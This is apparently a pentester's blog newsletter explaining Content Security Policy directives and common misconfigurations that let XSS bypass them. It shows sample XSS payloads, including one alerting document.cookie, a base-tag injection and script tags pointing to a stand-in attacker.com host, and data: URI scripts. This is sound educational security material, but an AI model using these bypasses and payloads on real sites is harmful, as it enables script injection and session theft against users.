CSP for Pentesters: Understanding the Fundamentals

8 min read

October 19, 2025

🚧 Site Migration Notice

I've recently migrated this site from Ghost CMS to a new Astro-based frontend. While I've worked hard to ensure everything transferred correctly, some articles may contain formatting errors or broken elements.

If you spot any issues, I'd really appreciate it if you could let me know! Your feedback helps improve the site for everyone.

CSP for Pentesters: Understanding the Fundamentals

Table of contents

Contents

Hi everyone,

A few weeks ago I was knee-deep in a CTF challenge. Found an XSS vulnerability, felt good about it, crafted my payload, and… nothing. The page just sat there, mocking me. Turns out the CSP was configured in this very specific way that blocked everything I tried. Spent the next hour actually reading the policy line by line, understanding what was allowed and what wasn’t. Eventually got it, but man, it made me realize how little attention I’d been paying to this header.

So that’s what sparked this newsletter. I want to break down how CSP actually works and, more importantly, where people screw it up.

Quick side note: I’m also working on improving the website right now. Adding a white theme because apparently some of you don’t live in dark mode like civilized people, plus keybindings and a bunch of other stuff. Should be ready soon 😄

What CSP Actually Is

Picture this: you’re running a nightclub. You don’t want random people wandering in off the street, so you hire a bouncer. That bouncer has a list, and if you’re not on it, you’re not getting in. CSP is essentially that bouncer, but for your browser.

The server sends a policy to the browser saying “hey, only execute scripts from these specific places I trust.” When you try to inject malicious code from somewhere else, the browser goes “nope, not on the list” and blocks it. In theory, it’s brilliant. In practice, well, that’s why we’re here.

Here’s what the flow looks like:

Server: "Content-Security-Policy: script-src 'self'"
You: <script src="https://evil.com/xss.js">
Browser: *blocked*
Console: "CSP violation: refused to load..."

The problem is that configuring this correctly is way harder than it sounds. One wrong directive and the whole thing falls apart.

How It Actually Works

CSP operates through directives. Think of them as individual rules in that bouncer’s handbook. Each directive controls a different type of resource.

Content-Security-Policy: script-src 'self' https://trusted.com; style-src 'self'

This tells the browser: “Scripts can come from our domain or trusted.com. CSS can only come from our domain.” Pretty straightforward, right?

But here’s where it gets interesting. If you don’t specify a directive, it falls back to default-src if that exists. And if default-src doesn’t exist either? No restriction at all. That’s the first place things start to break.

The Directives That Matter

Let me walk you through the ones you’ll actually care about as a pentester.

script-src is your main target. This controls what JavaScript can execute. If you can bypass this, you win. Simple as that. Everything else is just noise compared to getting code execution.

default-src acts as the fallback. Here’s something that trips people up constantly: if you see default-src 'self' and nothing else, that means EVERY type of resource uses ‘self’. Scripts, images, styles, everything. It’s more restrictive than it looks at first glance.

object-src controls those old-school tags like <object>, <embed>, and <applet>. Flash, plugins, embedded PDFs. You know what’s funny? People forget about this one all the time. They’ll lock down their scripts super tight and completely forget that object tags exist. That’s an instant bypass opportunity right there.

base-uri is the sneaky one. It controls the <base> tag, which sets the base URL for the entire document. When this is missing (and it’s missing a lot), you can do some really creative stuff. We’ll get to that in a minute.

Special Values You Need to Know

CSP has these special keywords that go in single quotes. Understanding what these mean is crucial because they’re often where the vulnerabilities hide.

'self' means same origin. Same domain, same protocol, same port. If you’re on https://example.com, only stuff from exactly https://example.com works. Not even subdomains get a pass.

'none' blocks everything. Most restrictive option possible. Not even same-origin content gets through.

'unsafe-inline' is where things get interesting. This allows inline scripts, and when you see it, you should get excited. Remember that CTF I mentioned? The one that didn’t have this was what made my life difficult. When it’s there, all your traditional XSS techniques just work.

What does inline mean exactly? It’s JavaScript embedded directly in the HTML instead of loaded from a separate file:

<script>alert(1)</script>
<img src=x onerror="alert(1)">
<button onclick="alert(1)">Click</button>

All of these are inline. A proper CSP blocks them unless 'unsafe-inline' is present. But here’s the thing: tons of legacy applications have inline scripts scattered everywhere. Refactoring all of that is a massive undertaking, so devs take the easy way out. They slap 'unsafe-inline' in there “temporarily” and call it a day. I’ve seen “temporary” fixes that have been in production for three years.

'unsafe-eval' is similar but for a different type of code execution. It allows functions like eval() that take strings and execute them as code:

eval('alert(1)');
setTimeout('alert(1)', 0);
new Function('alert(1)')();

If you can control what string gets passed to any of these functions, and 'unsafe-eval' is present, you’re in.

Then there are the wildcards. * means any domain. https: means any HTTPS site (which is basically everything now). data: allows data URIs, so you can embed code directly in a URL. *.example.com allows any subdomain. All of these are red flags because they’re way too permissive.

Where Things Break Down

Let me show you the misconfigurations I see over and over again in real assessments.

The most common one? 'unsafe-inline' just sitting there in the policy:

Content-Security-Policy: script-src 'self' 'unsafe-inline'

When you see this, your standard XSS payloads work perfectly:

<script>alert(document.cookie)</script>
<img src=x onerror="alert(1)">
<svg onload="alert(1)">

Next up is the missing base-uri. Check this out:

Content-Security-Policy: script-src 'self'

Looks pretty locked down, right? Script source is restricted to the same origin. But there’s no base-uri directive. That means you can inject a <base> tag:

<base href="https://attacker.com/">
Now when the page loads its legitimate scripts:
<script src="/js/app.js"></script>

The browser goes “okay, base is attacker.com, so this must be https://attacker.com/js/app.js” and loads your malicious script instead. You didn’t even need to inject your own script tag. You just redirected theirs.

Then there’s the lazy wildcard approach:

Content-Security-Policy: script-src 'self' https:

The https: directive allows any HTTPS site. Since 99% of the internet runs on HTTPS now, this is basically worthless:

<script src="https://attacker.com/xss.js"></script>

Just works. Same story with data: URLs:

<script src="data:text/javascript,alert(1)"></script>
Subdomain wildcards are another fun one:
Content-Security-Policy: script-src 'self' *.example.com

All you need is ONE vulnerable subdomain. Could be an old forgotten staging server, could be a user upload feature on uploads.example.com, doesn’t matter. Find one weakness in any subdomain and the entire CSP falls apart:

<script src="https://forgotten-staging.example.com/malicious.js"></script>

Last one: missing object-src. When this directive isn’t specified, you can sometimes use <object> or <embed> tags to bypass everything. It’s browser-dependent and a bit finicky, but it works often enough that it’s worth checking.

Finding CSP in the Wild

Most of the time you’ll be using Burp Suite or another proxy to intercept traffic. Just look at the response headers in the HTTP history and search for Content-Security-Policy. That’s honestly the most practical way when you’re doing actual testing.

Quick curl command gets you started:
curl -I https://target.com | grep -i "content-security-policy"

Or just pop open DevTools (F12), go to the Network tab, reload, click the main request, and look at Response Headers.

Sometimes it’s in a meta tag instead:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

One thing to remember: CSP can be in both the header and a meta tag. When that happens, the most restrictive one wins. I’ve seen cases where the header was solid but the meta tag had 'unsafe-inline', and guess which one applied? The restrictive one. But I’ve also seen the opposite, where the header was weak and the meta tag tried to lock things down, and the weak header took precedence. Point is, check both.

Quick Analysis Approach

When you find a CSP, here’s what I do:

First, I look for the obvious wins. Search for 'unsafe-inline'. If it’s there, I can probably stop looking and just fire off my XSS payload. Search for 'unsafe-eval' too, because if the app uses any eval-style functions, that’s another easy win.

Check for wildcards: *, https:, data:. These are all way too permissive and usually mean the policy isn’t doing much.

Then I verify what’s missing. Is base-uri there? If not, can I inject HTML? If yes to both, base tag injection might work. Is object-src there? If not, object/embed tags are worth trying.

Look for subdomain wildcards. If you see *.example.com, time to enumerate subdomains and look for vulnerable ones or file upload functionality.

There’s a tool from Google called CSP Evaluator (https://csp-evaluator.withgoogle.com/) that automates a lot of this analysis. Paste in the policy and it’ll tell you what’s weak. Super useful for quick assessments.

Wrapping Up

So that’s the foundation. What CSP is, how it works, the directives that matter, and the misconfigurations you’ll run into constantly. The reality is that most CSPs have at least one weakness, usually because getting this right is genuinely difficult. It’s not that developers are bad at their jobs. It’s that CSP is complex, and the tradeoffs between security and functionality are real.

Thanks for reading. Hope this helps you spot these issues faster in your next assessment.

Stay sharp, Ruben

Chapters

Hardware Security Modules: The Fortress Guarding Blockchain's Crown Jewels
Hardware Security Modules: The Fortress Guarding Blockchain's Crown Jewels

Previous Issue

Enjoyed the article?

Stay Updated & Support

Get the latest offensive security insights, hacking techniques, and cybersecurity content delivered straight to your inbox.

Follow me on social media